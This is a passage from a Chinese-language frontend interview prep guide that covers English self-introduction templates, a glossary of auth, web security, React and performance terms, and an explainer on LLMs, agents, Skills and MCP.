12. 英文自我介绍模板(Frontend Engineer, Banking Domain)

"I'm a frontend engineer with X years of experience, primarily working with React and TypeScript in enterprise/banking environments. I've built SPA applications that integrate with OAuth 2.0 / OIDC identity providers for authentication, and worked extensively with secure API consumption patterns --- JWT-based bearer auth, token refresh flows, and role/scope-based UI gating. On the architecture side, I focus on scalable component design, clear separation between server state (via TanStack Query) and client state, performance optimization through profiling rather than premature optimization, and writing testable code with high coverage using Vitest and React Testing Library. I'm also conscious of frontend security --- safe token storage, XSS/CSRF mitigation, and not trusting client-side data for authorization decisions, since the backend must always be the source of truth for access control."


13. 快速术语表(面试前最后扫一眼)

  • Bearer Token ------ 谁持有谁就能用的令牌("持有即访问"),不像 mTLS 还需要额外证明。
  • Access Token ------ 短期有效、用于调用 API 的凭证。
  • Refresh Token ------ 有效期更长,用来换取新 Access Token,无需重新登录。
  • ID Token ------ OIDC 特有的 JWT,用于证明用户身份(不用于调用 API)。
  • Scope ------ Access Token 的权限边界。
  • Claims ------ JWT payload 里的键值对声明。
  • PKCE ------ Proof Key for Code Exchange,保护 OAuth Authorization Code 流程中的公开客户端。
  • BFF(Backend-for-Frontend) ------ 代理/聚合 API 的后端层,可以安全持有令牌,浏览器永远看不到。
  • RBAC ------ 基于角色的访问控制。
  • SSO ------ 单点登录,通常用 OIDC/SAML 实现。
  • mTLS ------ 双向 TLS,双方都出示证书。
  • CSRF ------ 跨站请求伪造。
  • XSS ------ 跨站脚本攻击。
  • HMR ------ 热模块替换(Hot Module Replacement)。
  • Tree-shaking ------ 打包时删除未使用的代码。
  • Immer ------ 让"看似可变"的代码自动产出不可变更新结果的库,Redux Toolkit 内置使用。
  • Concurrent Rendering ------ React 18 引入的并发渲染架构,渲染过程可中断/可调度优先级。
  • Fiber ------ React 16 引入的新协调引擎,把组件树的 diff 过程改造成可中断、可恢复的链表遍历。
  • Reconciliation(协调) ------ React 对比新旧虚拟 DOM 树、计算出最小变更集的过程。
  • SSR ------ 服务端渲染,每次请求时服务器生成 HTML。
  • SSG ------ 静态站点生成,构建时生成 HTML。
  • ISR ------ 增量静态再生成,构建后按需/定时在后台重新生成静态页面。
  • RSC(React Server Components) ------ 只在服务端渲染、代码不发送到浏览器的组件。
  • Hydration(水合) ------ 让服务端渲染出的静态 HTML 在客户端挂上事件和状态、变成可交互页面的过程。
  • 数据预取(Data Prefetching) ------ 服务端渲染组件之前提前把页面所需数据查好(调 API/数据库),让首屏 HTML 自带真实数据而非占位符。
  • 脱水(Dehydrate) ------ 服务端把内存里的缓存/状态(如 React Query 的 QueryClient、Redux store)序列化成普通 JSON,便于跨 JS 运行时传递。
  • 注水(Hydrate,数据层面) ------ 客户端解析服务端传来的 JSON,反序列化后重建出和服务端一致的缓存/状态(如 React Query 的 HydrationBoundary、Redux 的 preloadedState),与"DOM 水合"是两个不同维度的概念,详见第 6.3 节。
  • JS Bridge ------ H5 页面与 Native 容器之间、或 RN 的 JS 线程与 Native 线程之间的通信桥接机制。
  • JSI(JavaScript Interface) ------ React Native 新架构下 JS 直接同步调用 Native 对象的接口,替代旧的异步 Bridge。
  • 微前端(Micro Frontend) ------ 把大型前端应用拆分为多个可独立开发部署、运行时组合的子应用。
  • qiankun(乾坤) ------ 蚂蚁金服基于 single-spa 封装的微前端框架。
  • Module Federation ------ Webpack/Vite 提供的运行时模块级别共享和远程加载机制。
  • URL Scheme ------ 自定义协议(如 myapp://),常用于 H5 向 Native 单向传递参数,需 Native 拦截导航请求解析。
  • XSS(跨站脚本) ------ 攻击者让自己的脚本以受害者页面身份执行,分存储型/反射型/DOM 型。
  • CSRF(跨站请求伪造) ------ 利用浏览器自动携带 Cookie 的特性,诱导用户在不知情下发起请求。
  • httpOnly ------ Cookie 属性,禁止 JS 通过 document.cookie 读取,防 XSS 窃取。
  • Secure(Cookie 属性) ------ 只允许 Cookie 在 HTTPS 连接下传输。
  • SameSite ------ Cookie 属性,控制跨站请求是否携带该 Cookie(Strict/Lax/None),是现代浏览器防 CSRF 的默认第一道防线。
  • withCredentials / credentials: 'include' ------ 前端显式声明跨域请求携带 Cookie 的方式,需配合服务端 CORS 的 Access-Control-Allow-Credentials 及非通配符 Access-Control-Allow-Origin。
  • 对称加密(Symmetric Encryption) ------ 加解密用同一把密钥,速度快,但密钥分发是难题(如 AES)。
  • 非对称加密(Asymmetric Encryption) ------ 公钥加密、私钥解密(或私钥签名、公钥验签),解决密钥分发问题,速度慢(如 RSA、ECC)。
  • CA(证书颁发机构) ------ 签发数字证书、构成证书信任链的权威机构。
  • TLS/SSL 握手 ------ 双方借助非对称加密安全协商出对称会话密钥的过程,之后业务数据用对称加密传输。
  • 前向保密(Forward Secrecy) ------ 即使长期私钥未来泄露,历史会话记录也无法被反向解密,TLS 1.3 强制要求。
  • 强缓存(Strong Cache) ------ Cache-Control/Expires 控制,命中则完全不发网络请求。
  • 协商缓存(Negotiation Cache) ------ ETag/Last-Modified 配合 If-None-Match/If-Modified-Since,命中返回 304。
  • 关键渲染路径(Critical Rendering Path) ------ 从请求到页面像素被绘制出来的全链路(DNS→TCP/TLS→下载→DOM/CSSOM→Layout→Paint→Composite)。
  • Core Web Vitals ------ Google 定义的三大核心体验指标:LCP(加载)、CLS(视觉稳定性)、INP(交互响应)。
  • LCP / CLS / INP / TTFB / TBT ------ 前端性能常见量化指标,详见第 10.2 节。
  • 回流/重排(Reflow/Layout) ------ 影响元素几何属性的样式改动触发重新计算布局,开销较大。
  • 重绘(Repaint) ------ 不影响布局仅影响外观的样式改动触发的重新绘制。
  • 合成(Composite) ------ 多图层合并为最终画面,transform/opacity 动画可仅在这一阶段完成。
  • Web Worker ------ 让密集计算在独立线程执行,不阻塞主线程。

14. AI 大模型 / Agent / Skills / MCP(2026 年新兴高频话题)

面试背景:2026 年不少前端岗位会顺带问一些"你用不用 AI 编程工具""懂不懂 Agent/MCP 原理"之类的延伸问题,考察的是对行业新工具链的理解深度,而不是要求你会训练模型。下面按「大模型本身 → Agent 怎么跑起来 → Skill 怎么写 → MCP 是什么」这个链路讲清楚。

14.0 核心概念一句话答案

英文表达:"An LLM like GPT or Claude is just a text-in-text-out reasoning engine --- it has no memory, no hands, no eyes. An Agent is the orchestration loop built around that LLM that gives it memory, lets it call tools, and lets it iterate until a task is done. A Skill is a packaged piece of domain knowledge/instructions the agent can look up on demand instead of stuffing everything into one giant prompt. MCP is the standard protocol that lets any agent talk to any external tool/data source in a uniform way, instead of writing custom integration code for every tool-model pairing."

中文理解:

  • 大模型(LLM):GPT、Claude、Codex 这些都只是「输入一段文本,输出一段文本」的推理引擎本身------没有记忆、不能直接操作文件/终端。
  • Agent(智能体):围绕大模型搭建的一个「循环」,让它具备记忆、能调用工具(读文件、跑命令、搜代码),并且能持续迭代直到任务完成。
  • Skill(技能包):打包好的一份「领域知识+操作步骤」文档,Agent 只有在判断当前任务相关时才会去读取完整内容,而不是把所有知识都塞进一次性的 Prompt 里。
  • MCP(Model Context Protocol):一套标准协议,让任何 Agent 都能用统一的方式连接任何外部工具/数据源,不用为每一种「模型 + 工具」组合都单独写一套对接代码。

14.1 主流大模型对比

模型 厂商 定位 优势 局限 典型用法
GPT 系列(如 GPT-4o/GPT-5) OpenAI 通用对话 + 推理大模型 生态最成熟(ChatGPT、API、插件市场),多模态能力强,工具调用(function calling)支持完善 闭源,按 token 计费,长上下文成本高 通用问答、内容生成、多模态理解、驱动各类 Agent 框架
Codex(OpenAI) OpenAI 专门针对"写代码/改代码/跑终端命令"场景微调和封装的编码类模型/产品 对仓库级别的代码理解和多文件改动更擅长,常和沙箱执行环境(能跑测试、跑 lint)配合 更偏工程任务,不是通用聊天模型的替代品 IDE 里的代码自动补全/自动修复、CLI 里的"自动开发"场景(比如本对话里的 GitHub Copilot 这类编码 Agent)
Claude 系列(如 Claude Sonnet/Opus) Anthropic 通用对话 + 推理大模型,强调长上下文和"可控的 Agent 行为" 长文本/长上下文处理能力强,工具调用稳定性和"按指令行事"的可控性是卖点之一;MCP 协议就是 Anthropic 提出的 同样闭源,生态上第三方插件数量不如 OpenAI 复杂文档分析、长链路 Agent 任务编排、代码库级别的理解和重构
开源模型(Llama、Qwen、DeepSeek 等) Meta/阿里/DeepSeek 等 可自部署的开源大模型 可私有化部署,数据不出企业内网,成本可控(银行等强合规场景常见诉求) 通常需要自己承担推理算力、微调和运维成本,顶尖能力略落后于闭源旗舰模型 企业内部知识库问答、对数据合规要求高的场景(比如银行内部系统)

面试话术: "I distinguish them by role: GPT and Claude are general-purpose reasoning engines you'd put behind a chat or an agent orchestration layer, Codex is a coding-specialized model/product meant to be paired with a sandboxed execution environment so it can actually run and verify the code it writes, and open-source models like Llama/Qwen are the choice when data residency or cost control matters more than having the absolute best benchmark score."


14.2 Agent 是怎么实现的

核心循环(面试常被要求口述/画图): 任何一个「Agent」本质上都是在重复下面这个循环,直到任务完成或触发终止条件:
#mermaid-svg-Tm56LQ8k1gFVdpty{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-Tm56LQ8k1gFVdpty .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-Tm56LQ8k1gFVdpty .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-Tm56LQ8k1gFVdpty .error-icon{fill:#552222;}#mermaid-svg-Tm56LQ8k1gFVdpty .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-Tm56LQ8k1gFVdpty .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-Tm56LQ8k1gFVdpty .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-Tm56LQ8k1gFVdpty .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-Tm56LQ8k1gFVdpty .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-Tm56LQ8k1gFVdpty .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-Tm56LQ8k1gFVdpty .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-Tm56LQ8k1gFVdpty .marker{fill:#333333;stroke:#333333;}#mermaid-svg-Tm56LQ8k1gFVdpty .marker.cross{stroke:#333333;}#mermaid-svg-Tm56LQ8k1gFVdpty svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-Tm56LQ8k1gFVdpty p{margin:0;}#mermaid-svg-Tm56LQ8k1gFVdpty .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-Tm56LQ8k1gFVdpty .cluster-label text{fill:#333;}#mermaid-svg-Tm56LQ8k1gFVdpty .cluster-label span{color:#333;}#mermaid-svg-Tm56LQ8k1gFVdpty .cluster-label span p{background-color:transparent;}#mermaid-svg-Tm56LQ8k1gFVdpty .label text,#mermaid-svg-Tm56LQ8k1gFVdpty span{fill:#333;color:#333;}#mermaid-svg-Tm56LQ8k1gFVdpty .node rect,#mermaid-svg-Tm56LQ8k1gFVdpty .node circle,#mermaid-svg-Tm56LQ8k1gFVdpty .node ellipse,#mermaid-svg-Tm56LQ8k1gFVdpty .node polygon,#mermaid-svg-Tm56LQ8k1gFVdpty .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-Tm56LQ8k1gFVdpty .rough-node .label text,#mermaid-svg-Tm56LQ8k1gFVdpty .node .label text,#mermaid-svg-Tm56LQ8k1gFVdpty .image-shape .label,#mermaid-svg-Tm56LQ8k1gFVdpty .icon-shape .label{text-anchor:middle;}#mermaid-svg-Tm56LQ8k1gFVdpty .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-Tm56LQ8k1gFVdpty .rough-node .label,#mermaid-svg-Tm56LQ8k1gFVdpty .node .label,#mermaid-svg-Tm56LQ8k1gFVdpty .image-shape .label,#mermaid-svg-Tm56LQ8k1gFVdpty .icon-shape .label{text-align:center;}#mermaid-svg-Tm56LQ8k1gFVdpty .node.clickable{cursor:pointer;}#mermaid-svg-Tm56LQ8k1gFVdpty .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-Tm56LQ8k1gFVdpty .arrowheadPath{fill:#333333;}#mermaid-svg-Tm56LQ8k1gFVdpty .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-Tm56LQ8k1gFVdpty .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-Tm56LQ8k1gFVdpty .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-Tm56LQ8k1gFVdpty .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-Tm56LQ8k1gFVdpty .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-Tm56LQ8k1gFVdpty .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-Tm56LQ8k1gFVdpty .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-Tm56LQ8k1gFVdpty .cluster text{fill:#333;}#mermaid-svg-Tm56LQ8k1gFVdpty .cluster span{color:#333;}#mermaid-svg-Tm56LQ8k1gFVdpty div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-Tm56LQ8k1gFVdpty .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-Tm56LQ8k1gFVdpty rect.text{fill:none;stroke-width:0;}#mermaid-svg-Tm56LQ8k1gFVdpty .icon-shape,#mermaid-svg-Tm56LQ8k1gFVdpty .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-Tm56LQ8k1gFVdpty .icon-shape p,#mermaid-svg-Tm56LQ8k1gFVdpty .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-Tm56LQ8k1gFVdpty .icon-shape .label rect,#mermaid-svg-Tm56LQ8k1gFVdpty .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-Tm56LQ8k1gFVdpty .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-Tm56LQ8k1gFVdpty .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-Tm56LQ8k1gFVdpty :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 需要调用工具
任务已完成/不需要更多工具
用户输入任务
拼装 Prompt: 系统指令 + 可用工具定义 + 历史上下文/记忆
LLM 推理: 这一步该直接回答, 还是调用某个工具?
执行工具调用: 读文件/跑命令/查数据库/调API
把工具执行结果作为观察 Observation 追加回上下文
生成最终回答返回给用户

这个「推理 → 行动 → 观察 → 再推理」的模式业内通称 ReAct(Reasoning + Acting)模式。

实现 Agent 需要的几个关键组件:

组件 作用 类比
系统提示词(System Prompt / Instructions) 定义 Agent 的角色、行为边界、必须遵守的规则 相当于"岗位职责说明书"
工具定义(Tool/Function Schema) 用 JSON Schema 描述每个工具的名字、参数、用途,喂给大模型让它知道"有哪些工具可以调、怎么调" 相当于给大模型一本"工具说明书"
工具执行器(Tool Executor) 真正去读文件、跑终端命令、调 HTTP 接口的那段宿主程序代码,大模型自己不执行任何副作用操作 大模型只负责"决定要做什么",这一层才是"真正去做"
记忆(Memory) 短期记忆 = 当前对话上下文窗口;长期记忆 = 持久化存储(如本次对话里用到的 /memories/ 文件系统) 短期像"工作记忆",长期像"笔记本"
规划/任务跟踪(Planning / Todo List) 复杂任务先拆解成多个步骤并跟踪状态,避免大模型在长任务里"中途失忆" 相当于任务清单/看板
护栏(Guardrails) 对危险操作(删除文件、强制推送、花钱的 API)设置人工确认或权限限制 相当于"审批流程"

面试话术: "Technically, an agent is not a different model --- it's a loop plus a toolset around a normal LLM. You give the model a system prompt, a list of tool schemas it's allowed to call, and you re-inject the result of each tool call back into its context. The 'autonomy' people perceive is really just this loop running multiple iterations without a human in between, terminated either by the model declaring the task done or by hitting a safety/iteration limit."


14.3 Skill 是什么、怎么写

是什么: Skill 本质上是一份结构化的知识/操作手册文件 (通常命名为 SKILL.md),包含:

  1. Frontmatter 元数据 ------名字、一句话描述(这段描述很关键,因为 Agent 平时只加载这个"目录索引",不会把所有 Skill 的全文都塞进上下文,等真正判断"这个任务和这个 Skill 相关"时才去读取全文------这叫 渐进式加载/Progressive Disclosure,目的是省 Token)。
  2. 正文内容------具体的步骤说明、代码片段、注意事项、何时触发/何时不触发。

一个最简 Skill 文件示例:

markdown 复制代码
---
name: commit-message-writer
description: 按 Conventional Commits 规范生成提交信息。当用户要求提交代码、生成 commit message 时使用。
---

# 写 Commit Message 的步骤

1. 运行 `git diff --staged` 查看改动内容
2. 判断改动类型:feat / fix / refactor / docs / chore / test
3. 格式:`<type>(<scope>): <subject>`,subject 用祈使句、不超过 72 字符
4. 如果改动涉及多个不相关模块,建议拆分成多次 commit

写 Skill 的几个要点(面试被要求"你会怎么设计一套 Skill 体系"时可以讲):

  • description 字段要精准描述"什么时候该触发"------这是 Agent 决定要不要读取这个 Skill 全文的唯一依据,写得模糊会导致该用的时候没触发,或者不该用的时候被误触发。
  • 内容要可执行、可复用,别只写原理,要写清楚"第一步做什么、第二步做什么"。
  • 职责单一------一个 Skill 只聚焦一类任务,而不是把"写代码+写测试+发PR"全塞进一个文件,不然既难维护也难以被精准触发。
  • Skill 和传统意义上的"工具/函数(Tool/Function)"的区别:工具是可执行的代码 (调用后产生副作用,如真的跑了一个命令);Skill 是知识/指令文本(教会 Agent "该怎么用好手头的工具去完成某类任务"),两者是配合关系,不是替代关系。

14.4 MCP(Model Context Protocol)是什么

一句话定义: MCP 是 Anthropic 在 2024 年底提出的一套开放标准协议 ,用来统一「AI 应用(Host)」和「外部工具/数据源(Server)」之间的通信方式,常被类比为 "AI 领域的 USB-C 接口"。

要解决的问题(面试常问"为什么需要 MCP"):

英文表达:"Before MCP, if you had M different AI applications and N different tools/data sources, you potentially needed M×N custom integrations --- every app writing its own bespoke connector for every tool. MCP turns that into an M+N problem: any MCP-compliant host can talk to any MCP-compliant server out of the box, because they all speak the same protocol."

中文理解:没有 MCP 之前,M 个 AI 应用对接 N 种外部工具/数据源,理论上要写 M×N 套专属对接代码。MCP 把这个问题变成 M+N------只要双方都遵循 MCP 协议,任意 AI 应用都能直接对接任意符合 MCP 规范的工具服务器,不需要专门为"这个模型+这个工具"的组合单独开发。

架构三个角色:
#mermaid-svg-IvyInSmRUeeOv2yZ{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;fill:#333;}@keyframes edge-animation-frame{from{stroke-dashoffset:0;}}@keyframes dash{to{stroke-dashoffset:0;}}#mermaid-svg-IvyInSmRUeeOv2yZ .edge-animation-slow{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 50s linear infinite;stroke-linecap:round;}#mermaid-svg-IvyInSmRUeeOv2yZ .edge-animation-fast{stroke-dasharray:9,5!important;stroke-dashoffset:900;animation:dash 20s linear infinite;stroke-linecap:round;}#mermaid-svg-IvyInSmRUeeOv2yZ .error-icon{fill:#552222;}#mermaid-svg-IvyInSmRUeeOv2yZ .error-text{fill:#552222;stroke:#552222;}#mermaid-svg-IvyInSmRUeeOv2yZ .edge-thickness-normal{stroke-width:1px;}#mermaid-svg-IvyInSmRUeeOv2yZ .edge-thickness-thick{stroke-width:3.5px;}#mermaid-svg-IvyInSmRUeeOv2yZ .edge-pattern-solid{stroke-dasharray:0;}#mermaid-svg-IvyInSmRUeeOv2yZ .edge-thickness-invisible{stroke-width:0;fill:none;}#mermaid-svg-IvyInSmRUeeOv2yZ .edge-pattern-dashed{stroke-dasharray:3;}#mermaid-svg-IvyInSmRUeeOv2yZ .edge-pattern-dotted{stroke-dasharray:2;}#mermaid-svg-IvyInSmRUeeOv2yZ .marker{fill:#333333;stroke:#333333;}#mermaid-svg-IvyInSmRUeeOv2yZ .marker.cross{stroke:#333333;}#mermaid-svg-IvyInSmRUeeOv2yZ svg{font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:16px;}#mermaid-svg-IvyInSmRUeeOv2yZ p{margin:0;}#mermaid-svg-IvyInSmRUeeOv2yZ .label{font-family:"trebuchet ms",verdana,arial,sans-serif;color:#333;}#mermaid-svg-IvyInSmRUeeOv2yZ .cluster-label text{fill:#333;}#mermaid-svg-IvyInSmRUeeOv2yZ .cluster-label span{color:#333;}#mermaid-svg-IvyInSmRUeeOv2yZ .cluster-label span p{background-color:transparent;}#mermaid-svg-IvyInSmRUeeOv2yZ .label text,#mermaid-svg-IvyInSmRUeeOv2yZ span{fill:#333;color:#333;}#mermaid-svg-IvyInSmRUeeOv2yZ .node rect,#mermaid-svg-IvyInSmRUeeOv2yZ .node circle,#mermaid-svg-IvyInSmRUeeOv2yZ .node ellipse,#mermaid-svg-IvyInSmRUeeOv2yZ .node polygon,#mermaid-svg-IvyInSmRUeeOv2yZ .node path{fill:#ECECFF;stroke:#9370DB;stroke-width:1px;}#mermaid-svg-IvyInSmRUeeOv2yZ .rough-node .label text,#mermaid-svg-IvyInSmRUeeOv2yZ .node .label text,#mermaid-svg-IvyInSmRUeeOv2yZ .image-shape .label,#mermaid-svg-IvyInSmRUeeOv2yZ .icon-shape .label{text-anchor:middle;}#mermaid-svg-IvyInSmRUeeOv2yZ .node .katex path{fill:#000;stroke:#000;stroke-width:1px;}#mermaid-svg-IvyInSmRUeeOv2yZ .rough-node .label,#mermaid-svg-IvyInSmRUeeOv2yZ .node .label,#mermaid-svg-IvyInSmRUeeOv2yZ .image-shape .label,#mermaid-svg-IvyInSmRUeeOv2yZ .icon-shape .label{text-align:center;}#mermaid-svg-IvyInSmRUeeOv2yZ .node.clickable{cursor:pointer;}#mermaid-svg-IvyInSmRUeeOv2yZ .root .anchor path{fill:#333333!important;stroke-width:0;stroke:#333333;}#mermaid-svg-IvyInSmRUeeOv2yZ .arrowheadPath{fill:#333333;}#mermaid-svg-IvyInSmRUeeOv2yZ .edgePath .path{stroke:#333333;stroke-width:2.0px;}#mermaid-svg-IvyInSmRUeeOv2yZ .flowchart-link{stroke:#333333;fill:none;}#mermaid-svg-IvyInSmRUeeOv2yZ .edgeLabel{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-IvyInSmRUeeOv2yZ .edgeLabel p{background-color:rgba(232,232,232, 0.8);}#mermaid-svg-IvyInSmRUeeOv2yZ .edgeLabel rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-IvyInSmRUeeOv2yZ .labelBkg{background-color:rgba(232, 232, 232, 0.5);}#mermaid-svg-IvyInSmRUeeOv2yZ .cluster rect{fill:#ffffde;stroke:#aaaa33;stroke-width:1px;}#mermaid-svg-IvyInSmRUeeOv2yZ .cluster text{fill:#333;}#mermaid-svg-IvyInSmRUeeOv2yZ .cluster span{color:#333;}#mermaid-svg-IvyInSmRUeeOv2yZ div.mermaidTooltip{position:absolute;text-align:center;max-width:200px;padding:2px;font-family:"trebuchet ms",verdana,arial,sans-serif;font-size:12px;background:hsl(80, 100%, 96.2745098039%);border:1px solid #aaaa33;border-radius:2px;pointer-events:none;z-index:100;}#mermaid-svg-IvyInSmRUeeOv2yZ .flowchartTitleText{text-anchor:middle;font-size:18px;fill:#333;}#mermaid-svg-IvyInSmRUeeOv2yZ rect.text{fill:none;stroke-width:0;}#mermaid-svg-IvyInSmRUeeOv2yZ .icon-shape,#mermaid-svg-IvyInSmRUeeOv2yZ .image-shape{background-color:rgba(232,232,232, 0.8);text-align:center;}#mermaid-svg-IvyInSmRUeeOv2yZ .icon-shape p,#mermaid-svg-IvyInSmRUeeOv2yZ .image-shape p{background-color:rgba(232,232,232, 0.8);padding:2px;}#mermaid-svg-IvyInSmRUeeOv2yZ .icon-shape .label rect,#mermaid-svg-IvyInSmRUeeOv2yZ .image-shape .label rect{opacity:0.5;background-color:rgba(232,232,232, 0.8);fill:rgba(232,232,232, 0.8);}#mermaid-svg-IvyInSmRUeeOv2yZ .label-icon{display:inline-block;height:1em;overflow:visible;vertical-align:-0.125em;}#mermaid-svg-IvyInSmRUeeOv2yZ .node .label-icon path{fill:currentColor;stroke:revert;stroke-width:revert;}#mermaid-svg-IvyInSmRUeeOv2yZ :root{--mermaid-font-family:"trebuchet ms",verdana,arial,sans-serif;} 宿主应用: VS Code / Claude Desktop
stdio 或 HTTP/SSE
stdio 或 HTTP/SSE
stdio 或 HTTP/SSE
大模型
MCP Client
MCP Server: 如 GitHub 工具
MCP Server: 如数据库工具
MCP Server: 如本地文件系统

  • Host(宿主):实际承载大模型对话的应用,比如 VS Code、Claude Desktop------它内置一个 MCP Client。
  • MCP Client:负责和各个 MCP Server 建立连接、发现它们都提供了哪些能力。
  • MCP Server :对外暴露三类能力------
    • Tools(工具):可被模型调用执行的动作(如"查询某个仓库的 PR 列表")。
    • Resources(资源):可被读取的只读数据(如一个文件内容、一张数据库表)。
    • Prompts(提示词模板):预先写好的、可复用的提示词模板。
  • 传输方式 :本地场景常用 stdio (标准输入输出管道,Server 作为子进程运行);远程场景用 HTTP + SSE/流式传输。

面试话术: "MCP standardizes three things a tool server can expose --- tools (actions with side effects), resources (read-only data), and prompts (reusable templates) --- over a JSON-RPC-based transport, either local stdio for same-machine tools or HTTP/SSE for remote ones. The value proposition is exactly the same as any protocol standardization: write your integration once as an MCP server, and every MCP-compliant client (Claude Desktop, VS Code Copilot, etc.) can use it without custom glue code."


14.5 四个概念一张表看懂区别

概念 它是什么 谁来写/谁来定义 粒度
LLM(大模型) 纯粹的文本推理引擎,无状态、无记忆、无法直接产生副作用 模型厂商训练 最底层
Tool / Function Calling 大模型可以"请求调用"的一个具体动作(带参数 Schema),由宿主程序真正执行 应用开发者定义 Schema + 实现执行逻辑 单个动作
Skill 教会 Agent"什么时候、该怎么组合使用工具"去完成一类任务的知识文档 任何人都可以写(通常是领域专家/团队) 一类任务的操作指南
MCP Server 把一组 Tool/Resource/Prompt 按统一协议打包暴露出来的独立服务 工具/平台提供方开发 一整套能力的标准化封装
Agent 围绕 LLM 搭建的"推理-行动-观察"循环 + 记忆 + 规划能力的运行时 框架/产品开发者搭建 最上层,编排前面所有组件

14.6 常见追问与参考答案

问:Agent 和普通的 Chatbot 有什么本质区别?

中文:Chatbot 是"一问一答",没有工具调用能力,本质就是裸的 LLM 推理。Agent 的本质区别在于有一个循环可以让它多轮自主调用工具、观察结果、修正计划,直到任务完成,而不需要人在中间每一步都手动喂下一个指令。

问:为什么不把所有知识都直接写进系统提示词(System Prompt),而要搞 Skill 这种"按需加载"机制?

中文:上下文窗口是有限且付费的资源------把所有可能用到的知识全塞进每一次请求的 Prompt 里,既浪费 Token 成本,也会稀释模型对真正相关信息的注意力("上下文越臃肿,大海捞针越难")。渐进式加载让 Agent 平时只看到一份"目录索引"(每个 Skill 的简短描述),只有判断任务匹配时才去读取完整内容。

问:MCP Server 和普通的 REST API 有什么区别?

中文:REST API 是给人类开发者看文档、手写对接代码调用的;MCP Server 在协议层面把"这里有哪些工具/资源/能做什么"结构化地描述出来,让大模型自己就能"读懂"并决定怎么调用,不需要人再为每个模型单独写胶水代码,本质是把"人机对接"升级成了"模型可自解释的对接"。

问:作为前端工程师,了解这些对你日常工作有什么实际帮助?

中文:日常用 AI 编程工具(如 Copilot/Codex/Claude Code)写代码时,理解它背后是"推理-工具调用-观察"循环,能帮助我更好地写清晰的任务描述、合理拆分大任务、以及判断什么时候该人工介入校验(比如涉及删除/发布/支付等高风险操作);如果团队要搭建内部的 AI 辅助研发工具链,理解 Skill/MCP 的设计思路也能帮我们更好地做工具集成方案的技术选型。


15. 英文自我介绍模板(简单句版 · Frontend Developer)

和第 12 节那个"一大段连续长句"的版本不同,这里是拆成一句句短句的模板,方便临场按句背诵、按需增删替换,每句话都独立成一个意思点,不用担心长难句卡壳。

顺序 句子模板(可直接背) 说明 / 可替换的内容
1 Hi, my name is 你的名字. 开场自报姓名
2 I'm a frontend developer with X years of experience. X 换成你的工作年限
3 I mainly work with React and TypeScript. 换成你实际用的技术栈,如 Vue/Angular
4 Currently I work at 公司名 as a 职位名 , on the 项目/产品名 project. 没有当前公司可以改成 "Most recently, I worked at..."
5 My day-to-day work includes building UI components, integrating with backend APIs, and writing unit tests. 概括日常工作内容,可按需增删
6 I have experience with authentication flows like OAuth 2.0 and JWT. 结合本文档第 1 章的认证知识
7 I also care about frontend security, such as preventing XSS and CSRF. 结合第 9 章和第 11 章
8 I'm familiar with performance optimization, like reducing bundle size and improving Core Web Vitals. 结合第 10 章
9 I use tools like Vite , Vitest , and React Testing Library in my workflow. 换成你实际用的工具链
10 I enjoy writing clean, maintainable code and collaborating closely with my team. 软技能收尾
11 That's a quick overview of my background --- happy to go deeper into any part of it. 结束语,把话筒交回给面试官

连起来读的完整版本(简单句拼接,语速正常约 30-40 秒):

